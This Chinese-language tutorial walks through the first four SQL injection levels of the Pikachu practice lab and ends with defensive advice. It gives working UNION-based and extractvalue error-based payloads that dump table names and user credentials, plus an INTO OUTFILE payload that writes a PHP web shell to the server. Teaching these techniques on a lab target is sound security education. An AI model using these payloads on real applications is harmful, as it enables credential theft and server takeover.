pikachu之sql篇前四关
字数 746
更新时间 2025-08-11 21:26:16

SQL注入漏洞实战教学 - Pikachu靶场前四关详解

一、数字型注入(POST)

漏洞原理

数字型注入发生在应用程序直接将用户输入拼接到SQL查询中,且未对输入进行任何过滤处理。

核心漏洞代码:

$id=$_POST['id']; //未过滤直接使用
$query="select username,email from member where id=$id";

利用步骤

  1. 判断注入点

    • 通过修改id参数值测试是否存在注入
  2. 判断列数

    id=1 order by 3  # 测试3列时显示不存在
    id=1 group by 2  # 也可用group by测试
    
  3. 获取数据库信息

    id=1 union select database(),user()
    id=0 union select database(),user()  # 使用0不显示原始数据
    
  4. 获取表名

    id=0 union select 1,table_name from information_schema.tables where table_schema='pikachu'
    
  5. 获取列名

    id=0 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users'
    
  6. 获取用户数据

    id=0 union select 1,concat(username,password) from users
    
  7. 文件写入(需足够权限)

    id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php'#
    

二、字符型/搜索型/XX型注入(GET)

与数字型的主要区别

  • 闭合方式不同,需要正确处理引号

各类型闭合方式

  1. 字符型注入

    id=1' [payload] -- 
    
  2. 搜索型注入

    id=1%' [payload] -- 
    
  3. XX型注入

    id=1') [payload] -- 
    

三、INSERT/UPDATE注入

漏洞原理

当用户输入被直接拼接到INSERT或UPDATE语句中时,可能通过精心构造的输入执行SQL注入。

利用步骤

  1. 确定闭合方式

    • 通过源码分析或测试确定闭合方式,示例中为')
  2. 报错注入获取数据库名

    username=a' or extractvalue(1,concat(0x7e,(select database()))),'1','2','3','4','5')#
    password=6
    

    username=a' or extractvalue(1,concat(0x7e,(select database()))) or '
    password=6
    
  3. 获取表名

    username=' or extractvalue(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e)),'2','3','4','5','6')#
    password=666666
    
  4. 获取列名

    username=1 ' and extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'),1,31),0x7e)),'2','3','4','5','6')#
    password=666666
    
  5. 获取用户数据

    username=1 ' and extractvalue(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31))),'2','3','4','5','6')#
    password=666666
    

注意事项

  • 使用substr函数分段获取数据,避免因数据过长导致报错
  • 优先使用and而非or,减少意外结果

四、DELETE注入

漏洞原理

当应用程序在DELETE语句中直接使用未过滤的用户输入时,可能导致注入。

利用思路

  1. 拦截DELETE请求
  2. 在id参数处构造报错注入
    id=1 or extractvalue(1,concat(0x7e,(select database())))
    

注意事项

  • 需要应用程序返回详细的错误信息
  • 实际环境中可能受权限限制

防御建议

  1. 使用预处理语句(参数化查询)

    $stmt = $link->prepare("SELECT username,email FROM member WHERE id=?");
    $stmt->bind_param("i", $id);
    
  2. 输入验证与过滤

    • 对数字型参数强制类型转换
    • 对字符串参数进行转义
  3. 最小权限原则

    • 数据库连接使用最低必要权限
  4. 错误处理

    • 避免向用户显示详细的数据库错误信息
  5. Web应用防火墙(WAF)

    • 部署WAF拦截常见注入攻击

通过本教程,您应该已经掌握了Pikachu靶场前四关SQL注入的基本原理和利用方法。请仅将这些技术用于合法的安全测试和教学目的。

相似文章
相似文章
 全屏